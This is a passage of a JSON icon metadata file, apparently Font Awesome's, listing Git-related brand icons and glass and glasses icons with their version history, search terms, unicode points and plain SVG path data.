        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M216.29 158.39H137C97 147.9 6.51 150.63 6.51 233.18c0 30.09 15 51.23 35 61-25.1 23-37 33.85-37 49.21 0 11 4.47 21.14 17.89 26.81C8.13 383.61 0 393.35 0 411.65c0 32.11 28.05 50.82 101.63 50.82 70.75 0 111.79-26.42 111.79-73.18 0-58.66-45.16-56.5-151.63-63l13.43-21.55c27.27 7.58 118.7 10 118.7-67.89 0-18.7-7.73-31.71-15-41.07l37.41-2.84zm-63.42 241.9c0 32.06-104.89 32.1-104.89 2.43 0-8.14 5.27-15 10.57-21.54 77.71 5.3 94.32 3.37 94.32 19.11zm-50.81-134.58c-52.8 0-50.46-71.16 1.2-71.16 49.54 0 50.82 71.16-1.2 71.16zm133.3 100.51v-32.1c26.75-3.66 27.24-2 27.24-11V203.61c0-8.5-2.05-7.38-27.24-16.26l4.47-32.92H324v168.71c0 6.51.4 7.32 6.51 8.14l20.73 2.84v32.1zm52.45-244.31c-23.17 0-36.59-13.43-36.59-36.61s13.42-35.77 36.59-35.77c23.58 0 37 12.62 37 35.77s-13.42 36.61-37 36.61zM512 350.46c-17.49 8.53-43.1 16.26-66.28 16.26-48.38 0-66.67-19.5-66.67-65.46V194.75c0-5.42 1.05-4.06-31.71-4.06V154.5c35.78-4.07 50-22 54.47-66.27h38.63c0 65.83-1.34 61.81 3.26 61.81H501v40.65h-60.56v97.15c0 6.92-4.92 51.41 60.57 26.84z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M216.29 158.39H137C97 147.9 6.51 150.63 6.51 233.18c0 30.09 15 51.23 35 61-25.1 23-37 33.85-37 49.21 0 11 4.47 21.14 17.89 26.81C8.13 383.61 0 393.35 0 411.65c0 32.11 28.05 50.82 101.63 50.82 70.75 0 111.79-26.42 111.79-73.18 0-58.66-45.16-56.5-151.63-63l13.43-21.55c27.27 7.58 118.7 10 118.7-67.89 0-18.7-7.73-31.71-15-41.07l37.41-2.84zm-63.42 241.9c0 32.06-104.89 32.1-104.89 2.43 0-8.14 5.27-15 10.57-21.54 77.71 5.3 94.32 3.37 94.32 19.11zm-50.81-134.58c-52.8 0-50.46-71.16 1.2-71.16 49.54 0 50.82 71.16-1.2 71.16zm133.3 100.51v-32.1c26.75-3.66 27.24-2 27.24-11V203.61c0-8.5-2.05-7.38-27.24-16.26l4.47-32.92H324v168.71c0 6.51.4 7.32 6.51 8.14l20.73 2.84v32.1zm52.45-244.31c-23.17 0-36.59-13.43-36.59-36.61s13.42-35.77 36.59-35.77c23.58 0 37 12.62 37 35.77s-13.42 36.61-37 36.61zM512 350.46c-17.49 8.53-43.1 16.26-66.28 16.26-48.38 0-66.67-19.5-66.67-65.46V194.75c0-5.42 1.05-4.06-31.71-4.06V154.5c35.78-4.07 50-22 54.47-66.27h38.63c0 65.83-1.34 61.81 3.26 61.81H501v40.65h-60.56v97.15c0 6.92-4.92 51.41 60.57 26.84z"
      }
    },
    "free": ["brands"]
  },
  "git-alt": {
    "changes": ["5.8.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f841",
    "label": "Git Alt",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014478,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M439.55 236.05L244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M439.55 236.05L244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z"
      }
    },
    "free": ["brands"]
  },
  "github": {
    "changes": ["2.0.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": ["octocat"]
    },
    "styles": ["brands"],
    "unicode": "f09b",
    "label": "GitHub",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014462,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6zm-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3zm44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9zM244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8zM97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1zm-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7zm32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1zm-11.4-14.7c-1.6 1-1.6 3.6 0 5.9 1.6 2.3 4.3 3.3 5.6 2.3 1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6zm-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3zm44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9zM244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8zM97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1zm-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7zm32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1zm-11.4-14.7c-1.6 1-1.6 3.6 0 5.9 1.6 2.3 4.3 3.3 5.6 2.3 1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2z"
      }
    },
    "free": ["brands"]
  },
  "github-alt": {
    "changes": ["3.0.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": ["octocat"]
    },
    "styles": ["brands"],
    "unicode": "f113",
    "label": "Alternate GitHub",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014479,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 480 512\"><path d=\"M186.1 328.7c0 20.9-10.9 55.1-36.7 55.1s-36.7-34.2-36.7-55.1 10.9-55.1 36.7-55.1 36.7 34.2 36.7 55.1zM480 278.2c0 31.9-3.2 65.7-17.5 95-37.9 76.6-142.1 74.8-216.7 74.8-75.8 0-186.2 2.7-225.6-74.8-14.6-29-20.2-63.1-20.2-95 0-41.9 13.9-81.5 41.5-113.6-5.2-15.8-7.7-32.4-7.7-48.8 0-21.5 4.9-32.3 14.6-51.8 45.3 0 74.3 9 108.8 36 29-6.9 58.8-10 88.7-10 27 0 54.2 2.9 80.4 9.2 34-26.7 63-35.2 107.8-35.2 9.8 19.5 14.6 30.3 14.6 51.8 0 16.4-2.6 32.7-7.7 48.2 27.5 32.4 39 72.3 39 114.2zm-64.3 50.5c0-43.9-26.7-82.6-73.5-82.6-18.9 0-37 3.4-56 6-14.9 2.3-29.8 3.2-45.1 3.2-15.2 0-30.1-.9-45.1-3.2-18.7-2.6-37-6-56-6-46.8 0-73.5 38.7-73.5 82.6 0 87.8 80.4 101.3 150.4 101.3h48.2c70.3 0 150.6-13.4 150.6-101.3zm-82.6-55.1c-25.8 0-36.7 34.2-36.7 55.1s10.9 55.1 36.7 55.1 36.7-34.2 36.7-55.1-10.9-55.1-36.7-55.1z\"/></svg>",
        "viewBox": [0, 0, 480, 512],
        "width": 480,
        "height": 512,
        "path": "M186.1 328.7c0 20.9-10.9 55.1-36.7 55.1s-36.7-34.2-36.7-55.1 10.9-55.1 36.7-55.1 36.7 34.2 36.7 55.1zM480 278.2c0 31.9-3.2 65.7-17.5 95-37.9 76.6-142.1 74.8-216.7 74.8-75.8 0-186.2 2.7-225.6-74.8-14.6-29-20.2-63.1-20.2-95 0-41.9 13.9-81.5 41.5-113.6-5.2-15.8-7.7-32.4-7.7-48.8 0-21.5 4.9-32.3 14.6-51.8 45.3 0 74.3 9 108.8 36 29-6.9 58.8-10 88.7-10 27 0 54.2 2.9 80.4 9.2 34-26.7 63-35.2 107.8-35.2 9.8 19.5 14.6 30.3 14.6 51.8 0 16.4-2.6 32.7-7.7 48.2 27.5 32.4 39 72.3 39 114.2zm-64.3 50.5c0-43.9-26.7-82.6-73.5-82.6-18.9 0-37 3.4-56 6-14.9 2.3-29.8 3.2-45.1 3.2-15.2 0-30.1-.9-45.1-3.2-18.7-2.6-37-6-56-6-46.8 0-73.5 38.7-73.5 82.6 0 87.8 80.4 101.3 150.4 101.3h48.2c70.3 0 150.6-13.4 150.6-101.3zm-82.6-55.1c-25.8 0-36.7 34.2-36.7 55.1s10.9 55.1 36.7 55.1 36.7-34.2 36.7-55.1-10.9-55.1-36.7-55.1z"
      }
    },
    "free": ["brands"]
  },
  "gitkraken": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3a6",
    "label": "GitKraken",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014473,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 592 512\"><path d=\"M565.7 118.1c-2.3-6.1-9.3-9.2-15.3-6.6-5.7 2.4-8.5 8.9-6.3 14.6 10.9 29 16.9 60.5 16.9 93.3 0 134.6-100.3 245.7-230.2 262.7V358.4c7.9-1.5 15.5-3.6 23-6.2v104c106.7-25.9 185.9-122.1 185.9-236.8 0-91.8-50.8-171.8-125.8-213.3-5.7-3.2-13-.9-15.9 5-2.7 5.5-.6 12.2 4.7 15.1 67.9 37.6 113.9 110 113.9 193.2 0 93.3-57.9 173.1-139.8 205.4v-92.2c14.2-4.5 24.9-17.7 24.9-33.5 0-13.1-6.8-24.4-17.3-30.5 8.3-79.5 44.5-58.6 44.5-83.9V170c0-38-87.9-161.8-129-164.7-2.5-.2-5-.2-7.6 0C251.1 8.3 163.2 132 163.2 170v14.8c0 25.3 36.3 4.3 44.5 83.9-10.6 6.1-17.3 17.4-17.3 30.5 0 15.8 10.6 29 24.8 33.5v92.2c-81.9-32.2-139.8-112-139.8-205.4 0-83.1 46-155.5 113.9-193.2 5.4-3 7.4-9.6 4.7-15.1-2.9-5.9-10.1-8.2-15.9-5-75 41.5-125.8 121.5-125.8 213.3 0 114.7 79.2 210.8 185.9 236.8v-104c7.6 2.5 15.1 4.6 23 6.2v123.7C131.4 465.2 31 354.1 31 219.5c0-32.8 6-64.3 16.9-93.3 2.2-5.8-.6-12.2-6.3-14.6-6-2.6-13 .4-15.3 6.6C14.5 149.7 8 183.8 8 219.5c0 155.1 122.6 281.6 276.3 287.8V361.4c6.8.4 15 .5 23.4 0v145.8C461.4 501.1 584 374.6 584 219.5c0-35.7-6.5-69.8-18.3-101.4zM365.9 275.5c13 0 23.7 10.5 23.7 23.7 0 13.1-10.6 23.7-23.7 23.7-13 0-23.7-10.5-23.7-23.7 0-13.1 10.6-23.7 23.7-23.7zm-139.8 47.3c-13.2 0-23.7-10.7-23.7-23.7s10.5-23.7 23.7-23.7c13.1 0 23.7 10.6 23.7 23.7 0 13-10.5 23.7-23.7 23.7z\"/></svg>",
        "viewBox": [0, 0, 592, 512],
        "width": 592,
        "height": 512,
        "path": "M565.7 118.1c-2.3-6.1-9.3-9.2-15.3-6.6-5.7 2.4-8.5 8.9-6.3 14.6 10.9 29 16.9 60.5 16.9 93.3 0 134.6-100.3 245.7-230.2 262.7V358.4c7.9-1.5 15.5-3.6 23-6.2v104c106.7-25.9 185.9-122.1 185.9-236.8 0-91.8-50.8-171.8-125.8-213.3-5.7-3.2-13-.9-15.9 5-2.7 5.5-.6 12.2 4.7 15.1 67.9 37.6 113.9 110 113.9 193.2 0 93.3-57.9 173.1-139.8 205.4v-92.2c14.2-4.5 24.9-17.7 24.9-33.5 0-13.1-6.8-24.4-17.3-30.5 8.3-79.5 44.5-58.6 44.5-83.9V170c0-38-87.9-161.8-129-164.7-2.5-.2-5-.2-7.6 0C251.1 8.3 163.2 132 163.2 170v14.8c0 25.3 36.3 4.3 44.5 83.9-10.6 6.1-17.3 17.4-17.3 30.5 0 15.8 10.6 29 24.8 33.5v92.2c-81.9-32.2-139.8-112-139.8-205.4 0-83.1 46-155.5 113.9-193.2 5.4-3 7.4-9.6 4.7-15.1-2.9-5.9-10.1-8.2-15.9-5-75 41.5-125.8 121.5-125.8 213.3 0 114.7 79.2 210.8 185.9 236.8v-104c7.6 2.5 15.1 4.6 23 6.2v123.7C131.4 465.2 31 354.1 31 219.5c0-32.8 6-64.3 16.9-93.3 2.2-5.8-.6-12.2-6.3-14.6-6-2.6-13 .4-15.3 6.6C14.5 149.7 8 183.8 8 219.5c0 155.1 122.6 281.6 276.3 287.8V361.4c6.8.4 15 .5 23.4 0v145.8C461.4 501.1 584 374.6 584 219.5c0-35.7-6.5-69.8-18.3-101.4zM365.9 275.5c13 0 23.7 10.5 23.7 23.7 0 13.1-10.6 23.7-23.7 23.7-13 0-23.7-10.5-23.7-23.7 0-13.1 10.6-23.7 23.7-23.7zm-139.8 47.3c-13.2 0-23.7-10.7-23.7-23.7s10.5-23.7 23.7-23.7c13.1 0 23.7 10.6 23.7 23.7 0 13-10.5 23.7-23.7 23.7z"
      }
    },
    "free": ["brands"]
  },
  "gitlab": {
    "changes": ["4.6.0", "5.0.0", "5.7.0", "6.0.0-beta1", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": ["Axosoft"]
    },
    "styles": ["brands"],
    "unicode": "f296",
    "label": "GitLab",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014471,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M503.5 204.6L502.8 202.8L433.1 21.02C431.7 17.45 429.2 14.43 425.9 12.38C423.5 10.83 420.8 9.865 417.9 9.57C415 9.275 412.2 9.653 409.5 10.68C406.8 11.7 404.4 13.34 402.4 15.46C400.5 17.58 399.1 20.13 398.3 22.9L351.3 166.9H160.8L113.7 22.9C112.9 20.13 111.5 17.59 109.6 15.47C107.6 13.35 105.2 11.72 102.5 10.7C99.86 9.675 96.98 9.295 94.12 9.587C91.26 9.878 88.51 10.83 86.08 12.38C82.84 14.43 80.33 17.45 78.92 21.02L9.267 202.8L8.543 204.6C-1.484 230.8-2.72 259.6 5.023 286.6C12.77 313.5 29.07 337.3 51.47 354.2L51.74 354.4L52.33 354.8L158.3 434.3L210.9 474L242.9 498.2C246.6 500.1 251.2 502.5 255.9 502.5C260.6 502.5 265.2 500.1 268.9 498.2L300.9 474L353.5 434.3L460.2 354.4L460.5 354.1C482.9 337.2 499.2 313.5 506.1 286.6C514.7 259.6 513.5 230.8 503.5 204.6z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M503.5 204.6L502.8 202.8L433.1 21.02C431.7 17.45 429.2 14.43 425.9 12.38C423.5 10.83 420.8 9.865 417.9 9.57C415 9.275 412.2 9.653 409.5 10.68C406.8 11.7 404.4 13.34 402.4 15.46C400.5 17.58 399.1 20.13 398.3 22.9L351.3 166.9H160.8L113.7 22.9C112.9 20.13 111.5 17.59 109.6 15.47C107.6 13.35 105.2 11.72 102.5 10.7C99.86 9.675 96.98 9.295 94.12 9.587C91.26 9.878 88.51 10.83 86.08 12.38C82.84 14.43 80.33 17.45 78.92 21.02L9.267 202.8L8.543 204.6C-1.484 230.8-2.72 259.6 5.023 286.6C12.77 313.5 29.07 337.3 51.47 354.2L51.74 354.4L52.33 354.8L158.3 434.3L210.9 474L242.9 498.2C246.6 500.1 251.2 502.5 255.9 502.5C260.6 502.5 265.2 500.1 268.9 498.2L300.9 474L353.5 434.3L460.2 354.4L460.5 354.1C482.9 337.2 499.2 313.5 506.1 286.6C514.7 259.6 513.5 230.8 503.5 204.6z"
      }
    },
    "free": ["brands"]
  },
  "gitter": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f426",
    "label": "Gitter",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014464,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M66.4 322.5H16V0h50.4v322.5zM166.9 76.1h-50.4V512h50.4V76.1zm100.6 0h-50.4V512h50.4V76.1zM368 76h-50.4v247H368V76z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M66.4 322.5H16V0h50.4v322.5zM166.9 76.1h-50.4V512h50.4V76.1zm100.6 0h-50.4V512h50.4V76.1zM368 76h-50.4v247H368V76z"
      }
    },
    "free": ["brands"]
  },
  "glass-water": {
    "changes": ["6.1.0", "6.1.2", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["potable", "water"]
    },
    "styles": ["solid"],
    "unicode": "e4f4",
    "label": "Glass Water",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767419,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M32 0C23.1 0 14.6 3.7 8.6 10.2S-.6 25.4 .1 34.3L28.9 437.7c3 41.9 37.8 74.3 79.8 74.3H275.3c42 0 76.8-32.4 79.8-74.3L383.9 34.3c.6-8.9-2.4-17.6-8.5-24.1S360.9 0 352 0H32zM73 156.5L66.4 64H317.6L311 156.5l-24.2 12.1c-19.4 9.7-42.2 9.7-61.6 0c-20.9-10.4-45.5-10.4-66.4 0c-19.4 9.7-42.2 9.7-61.6 0L73 156.5z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M32 0C23.1 0 14.6 3.7 8.6 10.2S-.6 25.4 .1 34.3L28.9 437.7c3 41.9 37.8 74.3 79.8 74.3H275.3c42 0 76.8-32.4 79.8-74.3L383.9 34.3c.6-8.9-2.4-17.6-8.5-24.1S360.9 0 352 0H32zM73 156.5L66.4 64H317.6L311 156.5l-24.2 12.1c-19.4 9.7-42.2 9.7-61.6 0c-20.9-10.4-45.5-10.4-66.4 0c-19.4 9.7-42.2 9.7-61.6 0L73 156.5z"
      }
    },
    "free": ["solid"]
  },
  "glass-water-droplet": {
    "changes": ["6.1.0", "6.1.2", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["potable", "water"]
    },
    "styles": ["solid"],
    "unicode": "e4f5",
    "label": "Glass Water Droplet",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767419,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M32 0C23.1 0 14.6 3.7 8.6 10.2S-.6 25.4 .1 34.3L28.9 437.7c3 41.9 37.8 74.3 79.8 74.3H275.3c42 0 76.8-32.4 79.8-74.3L383.9 34.3c.6-8.9-2.4-17.6-8.5-24.1S360.9 0 352 0H32zM83 297.5L66.4 64H317.6L301 297.5 288 304c-20.1 10.1-43.9 10.1-64 0s-43.9-10.1-64 0s-43.9 10.1-64 0l-13-6.5zM256 196c0-24-33.7-70.1-52.2-93.5c-6.1-7.7-17.5-7.7-23.6 0C161.7 125.9 128 172 128 196c0 33.1 28.7 60 64 60s64-26.9 64-60z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M32 0C23.1 0 14.6 3.7 8.6 10.2S-.6 25.4 .1 34.3L28.9 437.7c3 41.9 37.8 74.3 79.8 74.3H275.3c42 0 76.8-32.4 79.8-74.3L383.9 34.3c.6-8.9-2.4-17.6-8.5-24.1S360.9 0 352 0H32zM83 297.5L66.4 64H317.6L301 297.5 288 304c-20.1 10.1-43.9 10.1-64 0s-43.9-10.1-64 0s-43.9 10.1-64 0l-13-6.5zM256 196c0-24-33.7-70.1-52.2-93.5c-6.1-7.7-17.5-7.7-23.6 0C161.7 125.9 128 172 128 196c0 33.1 28.7 60 64 60s64-26.9 64-60z"
      }
    },
    "free": ["solid"]
  },
  "glasses": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f530"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["hipster", "nerd", "reading", "sight", "spectacles", "vision"]
    },
    "styles": ["solid"],
    "unicode": "f530",
    "label": "Glasses",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767603,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M118.6 80c-11.5 0-21.4 7.9-24 19.1L57 260.3c20.5-6.2 48.3-12.3 78.7-12.3c32.3 0 61.8 6.9 82.8 13.5c10.6 3.3 19.3 6.7 25.4 9.2c3.1 1.3 5.5 2.4 7.3 3.2c.9 .4 1.6 .7 2.1 1l.6 .3 .2 .1 .1 0 0 0 0 0s0 0-6.3 12.7h0l6.3-12.7c5.8 2.9 10.4 7.3 13.5 12.7h40.6c3.1-5.3 7.7-9.8 13.5-12.7l6.3 12.7h0c-6.3-12.7-6.3-12.7-6.3-12.7l0 0 0 0 .1 0 .2-.1 .6-.3c.5-.2 1.2-.6 2.1-1c1.8-.8 4.2-1.9 7.3-3.2c6.1-2.6 14.8-5.9 25.4-9.2c21-6.6 50.4-13.5 82.8-13.5c30.4 0 58.2 6.1 78.7 12.3L481.4 99.1c-2.6-11.2-12.6-19.1-24-19.1c-3.1 0-6.2 .6-9.2 1.8L416.9 94.3c-12.3 4.9-26.3-1.1-31.2-13.4s1.1-26.3 13.4-31.2l31.3-12.5c8.6-3.4 17.7-5.2 27-5.2c33.8 0 63.1 23.3 70.8 56.2l43.9 188c1.7 7.3 2.9 14.7 3.5 22.1c.3 1.9 .5 3.8 .5 5.7v6.7V352v16c0 61.9-50.1 112-112 112H419.7c-59.4 0-108.5-46.4-111.8-105.8L306.6 352H269.4l-1.2 22.2C264.9 433.6 215.8 480 156.3 480H112C50.1 480 0 429.9 0 368V352 310.7 304c0-1.9 .2-3.8 .5-5.7c.6-7.4 1.8-14.8 3.5-22.1l43.9-188C55.5 55.3 84.8 32 118.6 32c9.2 0 18.4 1.8 27 5.2l31.3 12.5c12.3 4.9 18.3 18.9 13.4 31.2s-18.9 18.3-31.2 13.4L127.8 81.8c-2.9-1.2-6-1.8-9.2-1.8zM64 325.4V368c0 26.5 21.5 48 48 48h44.3c25.5 0 46.5-19.9 47.9-45.3l2.5-45.6c-2.3-.8-4.9-1.7-7.5-2.5c-17.2-5.4-39.9-10.5-63.6-10.5c-23.7 0-46.2 5.1-63.2 10.5c-3.1 1-5.9 1.9-8.5 2.9zM512 368V325.4c-2.6-.9-5.5-1.9-8.5-2.9c-17-5.4-39.5-10.5-63.2-10.5c-23.7 0-46.4 5.1-63.6 10.5c-2.7 .8-5.2 1.7-7.5 2.5l2.5 45.6c1.4 25.4 22.5 45.3 47.9 45.3H464c26.5 0 48-21.5 48-48z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M118.6 80c-11.5 0-21.4 7.9-24 19.1L57 260.3c20.5-6.2 48.3-12.3 78.7-12.3c32.3 0 61.8 6.9 82.8 13.5c10.6 3.3 19.3 6.7 25.4 9.2c3.1 1.3 5.5 2.4 7.3 3.2c.9 .4 1.6 .7 2.1 1l.6 .3 .2 .1 .1 0 0 0 0 0s0 0-6.3 12.7h0l6.3-12.7c5.8 2.9 10.4 7.3 13.5 12.7h40.6c3.1-5.3 7.7-9.8 13.5-12.7l6.3 12.7h0c-6.3-12.7-6.3-12.7-6.3-12.7l0 0 0 0 .1 0 .2-.1 .6-.3c.5-.2 1.2-.6 2.1-1c1.8-.8 4.2-1.9 7.3-3.2c6.1-2.6 14.8-5.9 25.4-9.2c21-6.6 50.4-13.5 82.8-13.5c30.4 0 58.2 6.1 78.7 12.3L481.4 99.1c-2.6-11.2-12.6-19.1-24-19.1c-3.1 0-6.2 .6-9.2 1.8L416.9 94.3c-12.3 4.9-26.3-1.1-31.2-13.4s1.1-26.3 13.4-31.2l31.3-12.5c8.6-3.4 17.7-5.2 27-5.2c33.8 0 63.1 23.3 70.8 56.2l43.9 188c1.7 7.3 2.9 14.7 3.5 22.1c.3 1.9 .5 3.8 .5 5.7v6.7V352v16c0 61.9-50.1 112-112 112H419.7c-59.4 0-108.5-46.4-111.8-105.8L306.6 352H269.4l-1.2 22.2C264.9 433.6 215.8 480 156.3 480H112C50.1 480 0 429.9 0 368V352 310.7 304c0-1.9 .2-3.8 .5-5.7c.6-7.4 1.8-14.8 3.5-22.1l43.9-188C55.5 55.3 84.8 32 118.6 32c9.2 0 18.4 1.8 27 5.2l31.3 12.5c12.3 4.9 18.3 18.9 13.4 31.2s-18.9 18.3-31.2 13.4L127.8 81.8c-2.9-1.2-6-1.8-9.2-1.8zM64 325.4V368c0 26.5 21.5 48 48 48h44.3c25.5 0 46.5-19.9 47.9-45.3l2.5-45.6c-2.3-.8-4.9-1.7-7.5-2.5c-17.2-5.4-39.9-10.5-63.6-10.5c-23.7 0-46.2 5.1-63.2 10.5c-3.1 1-5.9 1.9-8.5 2.9zM512 368V325.4c-2.6-.9-5.5-1.9-8.5-2.9c-17-5.4-39.5-10.5-63.2-10.5c-23.7 0-46.4 5.1-63.6 10.5c-2.7 .8-5.2 1.7-7.5 2.5l2.5 45.6c1.4 25.4 22.5 45.3 47.9 45.3H464c26.5 0 48-21.5 48-48z"
      }
